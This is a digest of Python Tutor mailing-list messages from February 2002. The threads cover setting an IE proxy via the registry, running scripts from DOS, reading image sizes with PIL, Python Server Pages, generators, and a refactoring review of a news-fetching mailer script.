> Is possible to set up a proxy name (address) in MS Explorer
> browser from a running  Python program?
> Thank you for your help.
> Ladislav
>
>
>
> _______________________________________________
> ActivePython mailing list
> ActivePython@listserv.ActiveState.com
> To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs
>



From gayers7@cogeco.ca  Mon Feb 25 21:11:35 2002
From: gayers7@cogeco.ca (Gordon W. Ayers)
Date: Mon, 25 Feb 2002 15:11:35 -0600
Subject: [Tutor] running programs in python
Message-ID: <3C7AA887.B326CA26@cogeco.ca>

Hi
   Here is a pretty stupid question. How do I run a program from the
python command line? I have IDLE and Pythonwin which I don't have too
much trouble with but I would like to know how to execute a program from
the command line in a DOS shell.
      As is probably very obvious I have just started to use python.
      Thanks in advance for any help.


                                        Gord




From sheila@thinkspot.net  Mon Feb 25 21:44:11 2002
From: sheila@thinkspot.net (Sheila King)
Date: Mon, 25 Feb 2002 13:44:11 -0800
Subject: [Tutor] running programs in python
In-Reply-To: <3C7AA887.B326CA26@cogeco.ca>
References: <3C7AA887.B326CA26@cogeco.ca>
Message-ID: <30A802073EF@kserver.org>

On Mon, 25 Feb 2002 15:11:35 -0600, "Gordon W. Ayers" <gayers7@cogeco.ca>
wrote about [Tutor] running programs in python:

> Hi
>    Here is a pretty stupid question. How do I run a program from the
> python command line? I have IDLE and Pythonwin which I don't have too
> much trouble with but I would like to know how to execute a program from
> the command line in a DOS shell.
>       As is probably very obvious I have just started to use python.
>       Thanks in advance for any help.
> 

OK, sounds like you are on a windows machine. Probably, Python has
installed itself, with settings in the registry, so that it is in your
"path" for your computer, so it should be called from just about any
directory.

Try this:

Open a DOS window (Go to the "Start" menu, Programs, and find MS-DOS in the
list). Change your directory to one containing a python script.

C:> cd practice
C:\practice> 

and now at the command prompt type

C:\practice> python myscript.py

Where myscript.py is in the directory practice on the C: drive.

You could always do it from a different directory if you include the full
path to the script.

C:\otherdir> python c:\practice myscript.py

should work, too.

HTH,

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_



From kauphlyn@speakeasy.org  Mon Feb 25 22:02:52 2002
From: kauphlyn@speakeasy.org (Daniel Coughlin)
Date: Mon, 25 Feb 2002 14:02:52 -0800 (PST)
Subject: [Tutor] Re: Is it possible in Python too?
In-Reply-To: <001e01c1be36$2f740a90$08020196@Jonah>
Message-ID: <Pine.LNX.4.44.0202251337140.21176-100000@grace.speakeasy.net>


Hey, iirc, the proxy server setting is set in the registry, and you cant set 
registry items from an internet explorer object. 

so you need to change the registry - heres the link from aspn telling how to do 
just such a thing:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/66011

the entry you will be needing to modify is
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Internet Settings

or something like that. there maybe other things you need to modify, but i 
think that should put you in the right direction. 

test this and test a bunch before deploying into anykind of production 
environment. the registry is a very sensitive place. 

OT: A bit of netiquettte: You dont need to send emails to so many lists. Most of 
the people on any one of these lists are prally on at least one other. If you 
cant get your question answered on one list. Then try another. No need to send so many 
emails. 



Daniel

 





On Tue, 26 Feb 2002, Matthew Sherborne wrote:

> Yes but I don't know how.
> 
> Tell me how to do it in another language, and I'll tell you how in python ;)
> 
> GBU
> Matthew
> ----- Original Message -----
> From: "A" <printers@sendme.cz>
> To: <python-list@python.org>; <tutor@python.org>;
> <activepython@listserv.ActiveState.com>; <python-help@python.org>
> Sent: Tuesday, February 26, 2002 4:51 AM
> Subject: Is it possible in Python too?
> 
> 
> >
> > Hi,
> > Is possible to set up a proxy name (address) in MS Explorer
> > browser from a running  Python program?
> > Thank you for your help.
> > Ladislav
> >
> >
> >
> > _______________________________________________
> > ActivePython mailing list
> > ActivePython@listserv.ActiveState.com
> > To unsubscribe: http://listserv.ActiveState.com/mailman/mysubs
> >
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 



From erikprice@mac.com  Tue Feb 26 00:16:56 2002
From: erikprice@mac.com (Erik Price)
Date: Mon, 25 Feb 2002 19:16:56 -0500
Subject: [Tutor] identifying graphics attributes
Message-ID: <24D7C98A-2A4E-11D6-95E1-00039351FE6A@mac.com>

Hello, everyone:

I have been reading quite a bit about Python over the past month (since 
I first subscribed to this list), and experimenting with the interpreter 
when I have the opportunity.  I'm really impressed with this language, 
and if I wasn't already halfway through my work project (in PHP), I 
would see if I could do it using Python instead.

However, I have come upon a possible dilemma, and I am thinking that 
Python might be just the language to use for this.  Let me explain:

The project that I am working on is essentially a scaled-down content 
management system, to simply keep track of a database of project 
information and information about graphics files.  For instance, when 
someone in our design studio creates a new image, and burns it to a CD, 
they will at the same time go to the web site (my project) and enter 
some information about the file such as its height and width in inches, 
its size in MB, its resolution, and who they created it for.  There are 
other features of this application that aren't really relevant to the 
point of this post.

One of my co-workers brought up a very good point -- once in a while, a 
designer has a CD with sometimes 50 or more images on it, which will 
need to be added to the database.  This is kind of a problem, because 
while it's not a big deal to fill out the information for ten or fifteen 
files and submit them to the database via the web site, sitting there 
and filling out fifty or more HTML forms is going to be a bit 
inconvenient.  It would be nice if there were a program that could do 
the work of identifying the file's information (basic attributes like 
width and height and resolution by crawling through a directory and 
extracting the relevant data from the file.

PHP is not a good language for doing this, since it's really intended 
for developing dynamic web sites, but it seemed that this is something 
that Python might be able to do.  The Python script could crawl through 
a directory of files, extract the relevant information about each of 
them and write them in XML to a file.  The file could then be sent to 
the web server, where another Python script would parse the information 
and form the relevant SQL statements to insert this data into the 
database.  Because the level of detail involved is not very great (the 
important parts are literally the width, height, file size, and 
filename), this doesn't seem like a completely unapproachable task.

Is there a resource I could look to for information about using Python 
to "examine" graphics files (like Photoshop or Illustrator documents)?  
This will need to run on Mac OS 9, though that can be worked around if 
necessary (I have Unix and windows machines at my disposal as well).  I 
would appreciate any input that anyone can give -- I know it seems like 
a pretty big project to tackle right off the bat, but I'm really 
interested in the plausibility of something like this.

Thanks very much


Erik



From rkashyap@sympatico.ca  Tue Feb 26 00:18:09 2002
From: rkashyap@sympatico.ca (Ramkumar Kashyap)
Date: Mon, 25 Feb 2002 19:18:09 -0500
Subject: [Tutor] Info on Python Server Pages (PSP)
Message-ID: <3C7AD441.4070701@sympatico.ca>

Hi!


I saw a few references to writing Python Server Pages just like ASP, 
JSP. Have not come across any documentation for it though.  Does any 
documentation exist on PSP? Does it work with IIS/Netscape?


regards,


Ramkumar





From dyoo@hkn.eecs.berkeley.edu  Tue Feb 26 02:04:12 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 25 Feb 2002 18:04:12 -0800 (PST)
Subject: [Tutor] identifying graphics attributes
In-Reply-To: <24D7C98A-2A4E-11D6-95E1-00039351FE6A@mac.com>
Message-ID: <Pine.LNX.4.21.0202251754020.8083-100000@hkn.eecs.berkeley.edu>

On Mon, 25 Feb 2002, Erik Price wrote:

> inconvenient.  It would be nice if there were a program that could do 
> the work of identifying the file's information (basic attributes like 
> width and height and resolution by crawling through a directory and 
> extracting the relevant data from the file.

Hi Erik,


Yes, we can do this with the Python Imaging Library (PIL):

    http://www.pythonware.com/products/pil/

PIL is well suited for image manipulations.  If we use PIL, the problem is
not bad at all --- I think it would involve doing something like:

###
## Warning, warning, untested code
for file in files:
    im = Image.open(file)
    print "%s has dimensions %s and is of size %s bytes" % \
              (file, im.size, os.path.getsize(file))
###


> of detail involved is not very great (the important parts are
> literally the width, height, file size, and filename), this doesn't
> seem like a completely unapproachable task.

I think this should be a great first Python script.  *grin* By the way, if
you'd like more details on os.path, you can look at:

    http://www.python.org/doc/lib/module-os.path.html


Another interesting module would be the 'glob' module:

    http://www.python.org/doc/lib/module-glob.html

which helps us pull all the files in a given directory.



Hope this helps!



From miracle@paradise.net.nz  Mon Feb 25 20:17:32 2002
From: miracle@paradise.net.nz (Matthew Sherborne)
Date: Tue, 26 Feb 2002 09:17:32 +1300
Subject: [Tutor] Re: Is it possible in Python too?
References: <3C7A6BA1.26999.19EEC27@localhost>
Message-ID: <005b01c1be39$75c23640$08020196@Jonah>

OK, Sorry for the smart remark.

How would it be done normally; by COM automation or by editing files?

Python does both. Tell how and I'll send you the python script that does it.

Matthew Sherborne



From toodles@yifan.net  Tue Feb 26 02:14:49 2002
From: toodles@yifan.net (Andy W)
Date: Tue, 26 Feb 2002 10:14:49 +0800
Subject: [Tutor] identifying graphics attributes
References: <24D7C98A-2A4E-11D6-95E1-00039351FE6A@mac.com>
Message-ID: <003d01c1be6b$5fd97730$3100a8c0@sun>

Hi Eric,

> Is there a resource I could look to for information about using Python
> to "examine" graphics files (like Photoshop or Illustrator documents)?
> This will need to run on Mac OS 9, though that can be worked around if
> necessary (I have Unix and windows machines at my disposal as well).  I
> would appreciate any input that anyone can give -- I know it seems like
> a pretty big project to tackle right off the bat, but I'm really
> interested in the plausibility of something like this.

Have you looked at PIL?
http://www.pythonware.com/products/pil/

Something simple like the following can be done to get the size of an image,
with PIL:

import Image
picture=Image.open("example.jpg")
print picture.size

The binaries are only in Windows format, but the source is there.
I'm not sure how many different file formats it supports, but I tried BMP,
JPG, GIF and PNG. They were all successful.

I hope this makes your task easier!

Good luck.
Andy

>
> Thanks very much
>
>
> Erik
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From toodles@yifan.net  Tue Feb 26 02:17:06 2002
From: toodles@yifan.net (Andy W)
Date: Tue, 26 Feb 2002 10:17:06 +0800
Subject: [Tutor] Info on Python Server Pages (PSP)
References: <3C7AD441.4070701@sympatico.ca>
Message-ID: <004301c1be6b$b12a6bd0$3100a8c0@sun>

> Hi!
> 
> 
> I saw a few references to writing Python Server Pages just like ASP, 
> JSP. Have not come across any documentation for it though.  Does any 
> documentation exist on PSP? Does it work with IIS/Netscape?

I don't know anything about PSP, but here's the website for it.
http://webware.sourceforge.net/

HTH
Andy

> 
> 
> regards,
> 
> 
> Ramkumar
> 
> 
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 



From e.kotyk@shaw.ca  Tue Feb 26 02:14:23 2002
From: e.kotyk@shaw.ca (Eve Kotyk)
Date: Tue, 26 Feb 2002 02:14:23 +0000
Subject: [Tutor] identifying graphics attributes
References: <24D7C98A-2A4E-11D6-95E1-00039351FE6A@mac.com>
 <003d01c1be6b$5fd97730$3100a8c0@sun>
Message-ID: <3C7AEF7F.43EED195@shaw.ca>

Andy W wrote:
> 
> Hi Eric,
> 
> > Is there a resource I could look to for information about using Python
> > to "examine" graphics files (like Photoshop or Illustrator documents)?
> > This will need to run on Mac OS 9, though that can be worked around if
> > necessary (I have Unix and windows machines at my disposal as well).  I
> > would appreciate any input that anyone can give -- I know it seems like
> > a pretty big project to tackle right off the bat, but I'm really
> > interested in the plausibility of something like this.
> 
> Have you looked at PIL?
> http://www.pythonware.com/products/pil/
> 
> Something simple like the following can be done to get the size of an image,
> with PIL:
> 
> import Image
> picture=Image.open("example.jpg")
> print picture.size
> 
Is Image a module specific to a particular version of Python?  When I
suggest to my interpretor (1.5.2) that it should import Image it tells
me there is no such module.  I'm particularly interested because I
discover abit of code I think would be valuable to me but it doesn't
work for the same reason...the second line is: import Image
-- 

ekotyk

http://members.shaw.ca/e.kotyk/virtualstudio.htm


From sheila@thinkspot.net  Tue Feb 26 02:34:22 2002
From: sheila@thinkspot.net (Sheila King)
Date: Mon, 25 Feb 2002 18:34:22 -0800
Subject: [Tutor] identifying graphics attributes
In-Reply-To: <3C7AEF7F.43EED195@shaw.ca>
References: <24D7C98A-2A4E-11D6-95E1-00039351FE6A@mac.com> <003d01c1be6b$5fd97730$3100a8c0@sun> <3C7AEF7F.43EED195@shaw.ca>
Message-ID: <4142F1066C8@kserver.org>

On Tue, 26 Feb 2002 02:14:23 +0000, Eve Kotyk <e.kotyk@shaw.ca>  wrote
about Re: [Tutor] identifying graphics attributes:

> Andy W wrote:

> > Have you looked at PIL?
> > http://www.pythonware.com/products/pil/
> > 
> > Something simple like the following can be done to get the size of an image,
> > with PIL:
> > 
> > import Image
> > picture=Image.open("example.jpg")
> > print picture.size
> > 
> Is Image a module specific to a particular version of Python?  When I
> suggest to my interpretor (1.5.2) that it should import Image it tells
> me there is no such module.  I'm particularly interested because I
> discover abit of code I think would be valuable to me but it doesn't
> work for the same reason...the second line is: import Image

PIL is not part of the Standard library. You have to install it separate.
Go to the URL that Andy gave above for more information about PIL (Python
Imaging Library).

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_



From virketis@fas.harvard.edu  Tue Feb 26 02:36:30 2002
From: virketis@fas.harvard.edu (Pijus Virketis)
Date: Mon, 25 Feb 2002 21:36:30 -0500
Subject: [Tutor] identifying graphics attributes
References: <24D7C98A-2A4E-11D6-95E1-00039351FE6A@mac.com> <003d01c1be6b$5fd97730$3100a8c0@sun> <3C7AEF7F.43EED195@shaw.ca>
Message-ID: <003501c1be6e$65edd550$18adf78c@virketis2>

Eve,

> Is Image a module specific to a particular version of Python?  When I
> suggest to my interpretor (1.5.2) that it should import Image it tells
> me there is no such module.  I'm particularly interested because I
> discover abit of code I think would be valuable to me but it doesn't
> work for the same reason...the second line is: import Image

No, the module is part of PIL (Python Image Library):
http://www.pythonware.com/products/pil/.

Cheers,

Pijus



From e.kotyk@shaw.ca  Tue Feb 26 02:35:01 2002
From: e.kotyk@shaw.ca (Eve Kotyk)
Date: Tue, 26 Feb 2002 02:35:01 +0000
Subject: [Tutor] identifying graphics attributes
References: <24D7C98A-2A4E-11D6-95E1-00039351FE6A@mac.com>
 <003d01c1be6b$5fd97730$3100a8c0@sun> <3C7AEF7F.43EED195@shaw.ca>
 <003501c1be6e$65edd550$18adf78c@virketis2>
Message-ID: <3C7AF455.51FAC30E@shaw.ca>

Pijus Virketis wrote:
> 
> Eve,
> 
> > Is Image a module specific to a particular version of Python?  When I
> > suggest to my interpretor (1.5.2) that it should import Image it tells
> > me there is no such module.  I'm particularly interested because I
> > discover abit of code I think would be valuable to me but it doesn't
> > work for the same reason...the second line is: import Image
> 
> No, the module is part of PIL (Python Image Library):
> http://www.pythonware.com/products/pil/.

Oi what a dummkopf I am.  Thank you.

E

-- 

ekotyk

http://members.shaw.ca/e.kotyk/virtualstudio.htm


From sheila@thinkspot.net  Tue Feb 26 03:17:07 2002
From: sheila@thinkspot.net (Sheila King)
Date: Mon, 25 Feb 2002 19:17:07 -0800
Subject: [Tutor] Info on Python Server Pages (PSP)
In-Reply-To: <004301c1be6b$b12a6bd0$3100a8c0@sun>
References: <3C7AD441.4070701@sympatico.ca> <004301c1be6b$b12a6bd0$3100a8c0@sun>
Message-ID: <43B4E04367E@kserver.org>

On Tue, 26 Feb 2002 10:17:06 +0800, "Andy W" <toodles@yifan.net>  wrote
about Re: [Tutor] Info on Python Server Pages (PSP):

> > Hi!
> > 
> > 
> > I saw a few references to writing Python Server Pages just like ASP, 
> > JSP. Have not come across any documentation for it though.  Does any 
> > documentation exist on PSP? Does it work with IIS/Netscape?
> 
> I don't know anything about PSP, but here's the website for it.
> http://webware.sourceforge.net/
> 

For more information on this topic, see this page:
http://thor.prohosting.com/~pboddie/Python/web_modules.html

Or this one:

http://starbase.neosoft.com/~claird/comp.lang.python/web_python.html

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_




From erikprice@mac.com  Tue Feb 26 03:39:16 2002
From: erikprice@mac.com (Erik Price)
Date: Mon, 25 Feb 2002 22:39:16 -0500
Subject: [Tutor] identifying graphics attributes
In-Reply-To: <Pine.LNX.4.21.0202251754020.8083-100000@hkn.eecs.berkeley.edu>
Message-ID: <6865419F-2A6A-11D6-95E1-00039351FE6A@mac.com>

On Monday, February 25, 2002, at 09:04  PM, Danny Yoo wrote:
> Yes, we can do this with the Python Imaging Library (PIL):
>
>     http://www.pythonware.com/products/pil/
>
> PIL is well suited for image manipulations.

Awesome!  I'm looking forward to it -- while I do like PHP, this'll be 
my first chance to "do something" with Python.  Thanks for the pointer, 
Danny.


Erik



From paulsid@shaw.ca  Tue Feb 26 02:46:38 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Mon, 25 Feb 2002 19:46:38 -0700
Subject: [Tutor] Iterators and generators for the masses
References: <APJMOLJEPMLPEBAA@mailcity.com>
Message-ID: <3C7AF70E.4D7AB72F@shaw.ca>

kevin parks wrote:

> 2> Anyone up to explaining them here? (hopefully in a way that 
> someone other than Tim Peters and Guido understands! Insult me if 
> you must -- talk to me like I am a 12 year old! Why? Because there 
> are 12 year olds out there learning Python and those of us with the 
> math/science/programming chops of a 12 year old who are also trying 
> to understand this stuff).

Okay, here's the simplest non-mathematical example of a generator that I
can think of off the top of my head:

Most of us in North America have seen those "Now Serving" signs.  In
case these aren't common elsewhere, basically what happens is you take a
ticket with a number on it from the dispenser and then wait around until
your number is called.  There's a digital sign on the wall and people
behind the counter can press a button to advance the number on the
sign.  (Usually the numbers are 2-digits, from 00-99.)  This saves
people from having to wait in a queue.

Say you were simulating this in a computer program.  (I don't know why
you would want to, but just say you were.)  The ticket dispenser could
be implemented as a generator.  The dispenser's sole job is to serve up
one number at a time.  We don't care what's going on inside the fat red
circular part, all we are concerned with is that it to give us one
numbered ticket at a time in a predictable order.  This is exactly what
generators do.

As it turns out, the sign can also be implemented using a generator, and
in fact using the same generator as the dispenser.  The principles
behind the sign are the same - it only cares about one number at a time
in a specific order, in this case the same order as the dispenser.

So to implement this we might do something like this:

def ticket_number_gen(start=0, wrap=100):
    num = start
    while 1:
        yield num
        num += 1
        if num == wrap:
            num = 0

This could then be used for both the dispenser and the sign as follows:

dispenser = ticket_number_gen()
sign = ticket_number_gen()
...
dispenser.next()  # Fetches the next "ticket".
...
sign.next()       # Advances the sign.

Why do it this way as opposed to another way?  To be honest, I don't
know.  There's nothing here you couldn't do with a function or a class. 
The only advantage I can see to the above is that you don't have to go
to the trouble of creating a class yet it's somewhat cleaner than a
function-based approach.

To me generators only seem to be useful when there's a ton of possible
values and you only need one at a time.  Combinatorics springs to mind. 
So I'd also be happy to see some explanations of their benefits in
"everyday programming".

Perhaps that's the problem with writing tutorials for generators - if
you want to fit them into a task that's simple enough to help you
understand them, you don't need them.  :-)

> what do they do? what can they do, what tasks do they make easier, 
> what is the simplest possible example, what is a more complex 
> example...etc. & co.

I actually found test_generators, the unit test for generator
functionality, quite informative.  It starts simple and then moves to
some advanced applications.  If nothing else it at least has lots of
examples.  It's in the Python source installation, but if you don't have
that here's a (very long) URL:

http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/test/test_generators.py?rev=1.30&content-type=text/vnd.viewcvs-markup

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From slime@vsnl.net  Tue Feb 26 04:50:39 2002
From: slime@vsnl.net (Prahlad Vaidyanathan)
Date: Tue, 26 Feb 2002 10:20:39 +0530
Subject: [Tutor] Re: OO approach
In-Reply-To: <Pine.LNX.4.21.0202251039520.24905-100000@hkn.eecs.berkeley.edu>
References: <20020224172955.GA653@marvin.localdomain> <Pine.LNX.4.21.0202251039520.24905-100000@hkn.eecs.berkeley.edu>
Message-ID: <20020226045039.GA556@marvin.localdomain>

--vtzGhvizbBRQ85DL
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi,

On Mon, 25 Feb 2002 Danny Yoo spewed into the ether:
[-- snip --]
> Can you show us the mailURL base class?  Perhaps it's possible to avoid
> inheritance altogether by making the parent class general enough to handle
> all cases.

Well, I've attached the entire script here (~9K). I've just added
another sub-class for the Wired Daily News as well, but I am yet to
check if that works (it should).

The script works all right, but something tells me there _must_ be a
better way of doing this :-)

pv.
-- 
Prahlad Vaidyanathan  <http://www.symonds.net/~prahladv/>

Parallel lines never meet, unless you bend one or both of them.

--vtzGhvizbBRQ85DL
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="mailurl.py"

#! /usr/local/bin/python -S
"""
Script to download news URLs from :

    * The Register <http://www.theregister.co.uk>
        Extracted from an email received every weekday.
        The email is dumped into ~/Email/tmp_register by procmail
        URLs are extracted using a regex
        After they are retrieved, the tmp_register folder is removed

    * Linux Journal News <http://www.linuxjournal.com>
        Extracted from an email received weekly
        The email is dumped into ~/Email/tmp_ljnews by procmail
        URLs are extracted using a regex
        After they are retrieved, the tmp_ljnews folder is removed

    * Wired News <http://www.wired.com>
        Extracted from an email received daily
        The email is dumped into ~/Email/tmp_wired by procmail
        URLs are extracted using a regex
        After they are retrieved, the tmp_wired folder is removed

    * Linux Weekly News <http://lwn.net>
        Retrieved every Thursday

    * Linux Documentation Project <http://www.linuxdoc.org>
        Retrieved every Wednesday

    * Kernel Traffic <http://kt.zork.net>
        Retrieved every Tuesday

Author: Prahlad Vaidyanathan <slime@vsnl.net>
"""

# Set this variable if you are behind a proxy
# os.environ['http_proxy'] = 'http://foo.bar:3128'

# CAVEAT
# * if i don't connect to the net on said day, that day's LWN/LDP/etc. is
#   not retrieved

import os, sys, time
import re, string
import urllib, rfc822
import MailMsg # By Prabhu Ramachandran <prabhu@aero.iitm.ernet.in>

class mailURL :
    """
    Base class :

    Extracts the dictionary of links, and then mails them to all the 
    users in the to_addrs list using the description of the link in 
    the subject line.

    Arguments :
        from_addr   - "From" address to be used when mailing the pages
        to_addrs    - List of "To" addresses to be used when mailing
        file        - File containing the original news Email
        regex       - The regex to match in the file, to extract the URLs

    """
    def __init__(self, from_addr, to_addrs, file='/dev/null', regex='') :
        """
        Creates the archive directory
        """
        self.archive_dir = '/tmp'
        if not os.path.isdir(self.archive_dir) :
            os.mkdir(self.archive_dir)
        self.from_addr = from_addr
        self.to_addrs = to_addrs
        self.log_file = sys.stdout
        self.regex = regex
        self.file = file

    def log(self,msg) :
        """
        Logs messages to self.log_file
        """
        self.log_file.write(msg)
        self.log_file.flush()
   
    def retrieveURL(self,link) :
        """
        Retrieves a single URL, and returns the filename
        """
        save_file = os.path.join(self.archive_dir,self.filename(link))
        if os.path.isfile(save_file) :
            self.log('%s exists .. ignoring.\n' % string.strip(save_file))
            return(0)
        else :
            try :
                filename, headers = urllib.urlretrieve(link,save_file)
                return(filename) # return(save_file) ?
            except IOError, txt :
                self.log("\nConnect error: %s\n" % txt)
                sys.exit(-1)
            except KeyboardInterrupt :
                self.log("\nUser aborted ...\n")
                sys.exit(-1)
 
    def getAllURLs(self) :
        """
        Retrieves all the URLs in the dictionary, and mails them
        """
        retrieve_count = 0
        dict = self.extractURLs()
        for desc in dict.keys() :
            self.log('%s\n\t%s -> ' % (desc, dict[desc]))
            file = self.retrieveURL(dict[desc])
            if file :
                self.mailHTML(desc,file)
                self.log("mailed.\n")
                retrieve_count += 1
        return(retrieve_count)

    def mailHTML(self, subject, file) :
        """
        Mails file with the subject line specified.
        """
        m = MailMsg.MailMsg(self.from_addr,subject)
        fd = open(file)
        if self.file != '/dev/null' :
            fp = open(self.file)
            mail = rfc822.Message()
            message_id = mail['message-id']
            m.addHeader('References',message_id)
            fp.close()
        m.addHtml( fd.read() )
        m.mail(self.from_addr,self.to_addrs)
        fd.close()

# The next functions are specific to the sub-class

    def filename(self,link) :
        """
        Returns an appropriate filename for a link
        """
        return None

    def extractURLs (self) :
        """
        Return dictionary in link[description] pairs
        """
        return {}

# ----------

class LinuxWeeklyNews (mailURL) :
    def filename (self, link) :
        return('lwn-%s.html' % \
            time.strftime("%Y-%m-%d",time.gmtime()))

    def extractURLs (self) :
        desc = 'Linux Weekly News %s' % \
            time.strftime("%Y-%m-%d",time.localtime())
        link = 'http://lwn.net//%s/bigpage.php3' % \
            time.strftime("%Y/%m%d",time.localtime())
        return({desc:link})

# ----------

class KernelTraffic (mailURL) :
    def filename (self, link) :
        return('kt-%s.html' % \
            time.strftime("%Y-%m-%d",time.localtime()))

    def extractURLs (self) :
        desc = 'Kernel Traffic %s' % \
            time.strftime("%Y-%m-%d",time.localtime())
        link = 'http://kt.zork.net/kernel-traffic/latest.html'
        return({desc:link})

# ----------

class LinuxDoc (mailURL) :
    def filename (self, link) :
        return('ldp-%s.html' % \
            time.strftime("%Y-%m-%d",time.localtime()))

    def extractURLs (self) :
        desc = 'Linux Documentation Project News %s' % \
            time.strftime("%Y-%m-%d",time.localtime())
        link = 'http://www.linuxdoc.org/ldpwn/latest.html'
        return({desc:link})

# ----------

class WiredNews (mailURL) :
    def filename (self, link) :
        file = os.path.basename(link[:-14])
        file = string.replace(file,',','-')
        return(file)

    def extractURLs (self) :
        fd = open(self.file)
        links = {}
        lines = fd.readlines()
        for count in range(len(lines)) :
            line = lines[count]
            if self.regex.search(line) :
                desc = string.strip(lines[count-2])
                desc += " " + string.strip(lines[count-1])
                links[desc] = string.strip(line)
        fd.close()
        return(links)

# ----------

class Register (mailURL) :
    def filename (self, link) :
        return(os.path.basename(link))

    def extractURLs(self) :
        fd = open(self.file)
        links = {}
        lines = fd.readlines()
        for count in range(len(lines)) :
            line = lines[count]
            if self.regex.search(line) :
                desc = string.strip(lines[count-2])
                desc = desc + " " + string.strip(lines[count-1])
                links[desc] = string.strip(line)
        fd.close()
        return(links)
 
# ----------

class LinuxJournal (mailURL) :
    def filename (self, link) :
        return(link[-4:] + '.html')

    def extractURLs (self) :
        fd = open(self.file)
        links = {}
        lines = fd.readlines()
        for count in range(len(lines)) :
            line = lines[count]
            match = self.regex.search(line)
            if match :
                desc = string.strip(lines[count-2])
                desc = desc + " " + string.strip(lines[count-1])
                links[desc] = string.strip(match.group(1))
        fd.close()
        return(links)

# ----------

def main() :
    """Runs the script"""
    # Change these to suit your needs
    frm = "The News <newsd@marvin>"
    to_adds = ["prahlad@localhost"]
    news = []
    # Register
    filename = os.path.join(os.environ['HOME'],'Email/tmp_register') 
    if os.path.isfile(filename) :
        regex = re.compile(r'http://www.theregister.co.uk/')
        news.append( Register(frm,to_adds,filename,regex) )
    # LJ news
    filename = os.path.join(os.environ['HOME'],'Email/tmp_ljnews')
    if os.path.isfile(filename) :
        regex = re.compile(r'(http://www.linuxjournal.com/article.php[^\s]*)')
        news.append( LinuxJournal(frm,to_adds,filename,regex) )
    # Wired news
    filename = os.path.join(os.environ['HOME'],'Email/tmp_wired')
    if os.path.isfile(filename) :
        regex = re.compile(r'http://www.wired.com/news/..*')
        news.append( WiredNews(frm,to_adds,filename,regex) )

    # Weekly news
    day_of_the_week = time.localtime()[6]
    # Days => 0:Mon ... 6:Sun
    if day_of_the_week == 3 :
        news.append( LinuxWeeklyNews(frm,to_adds) )
    elif day_of_the_week == 2 :
        news.append( LinuxDoc(frm,to_adds) ) 
    elif day_of_the_week == 1 :
        news.append( KernelTraffic(frm,to_adds) )

    # The loop
    count = 0
    for new in news :
        count += new.getAllURLs()
        try :
            os.remove(new.file)
        except OSError :
            pass

    print "%s: %d retrieved and mailed." % \
        (os.path.basename(sys.argv[0]),count)

if __name__ == '__main__' :
    main()

--vtzGhvizbBRQ85DL--


From dyoo@hkn.eecs.berkeley.edu  Tue Feb 26 07:44:08 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 25 Feb 2002 23:44:08 -0800 (PST)
Subject: [Tutor] Re: OO approach
In-Reply-To: <20020226045039.GA556@marvin.localdomain>
Message-ID: <Pine.LNX.4.21.0202252243210.14693-100000@hkn.eecs.berkeley.edu>

On Tue, 26 Feb 2002, Prahlad Vaidyanathan wrote:

> > Can you show us the mailURL base class?  Perhaps it's possible to avoid
> > inheritance altogether by making the parent class general enough to handle
> > all cases.
> 
> Well, I've attached the entire script here (~9K). I've just added
> another sub-class for the Wired Daily News as well, but I am yet to
> check if that works (it should).
> 
> The script works all right, but something tells me there _must_ be a
> better way of doing this :-)


If I'm understanding things, it appears that mailURL has two distinct
modes that it runs under:

    1.  Reading content from a local file
    2.  Reading content from a web url.

The 'LinuxWeeklyNews', 'KernelTraffic', and 'LinuxDoc' classes have a
pretty regular structure for 'weekly' stuff.  On the flip side, WiredNews,
Register, and LinuxJournal classes look fairly similar as stuff that
handles 'daily' news.


Would it be possible to somehow unify these two categories into one?


That is, it might be possible to have a separate program that periodically
retrieves Daily stuff and writes them to temporary files, formatting them
to look similar to what the Weekly news sources provide.  That way, we can
reduce the complexity in mailUrl and remove the need for retrieveURL(). If
you're running on Unix, 'cron' should be helpful for scheduling this, and
I'm pretty sure that Windows has a scheduler as well.



The extractURLs() functions that do the "Daily" stuff have a very similar
structure; they appear to grab every url-containing paragraph of 3 lines.  
In fact, the signficant difference I see between WiredNews.extractURLs(),
Register.extractURLs(), and LinuxJournal.extractURLs() is the last line:

    links[desc] = string.strip(line)            ## WiredNews
    links[desc] = string.strip(line)            ## Register
    links[desc] = string.strip(match.group(1))  ## LinuxJournal


We might be able to generalize these three regular expressions:

    regex = re.compile(r'http://www.theregister.co.uk/')
    regex = re.compile(r'(http://www.linuxjournal.com/article.php[^\s]*)')
    regex = re.compile(r'http://www.wired.com/news/..*')

from the main() function so that we can treat all the cases the same way
in extractURLs():

    links[desc] = string.strip(match.group(1))  ## All three

And that should cut down on the class madness.  *grin*




By the way, you might find the following module useful: this is a regular
expression that matches HTTP urls.  It defines an 'url_re' object that you
can use to findall() urls in a document.

###
## http_regular_expression.py
##
## This is a regular expression that detects HTTP urls.
##
## This is only a small sample of tchrist's very nice tutorial on
## regular expressions.  See:
##
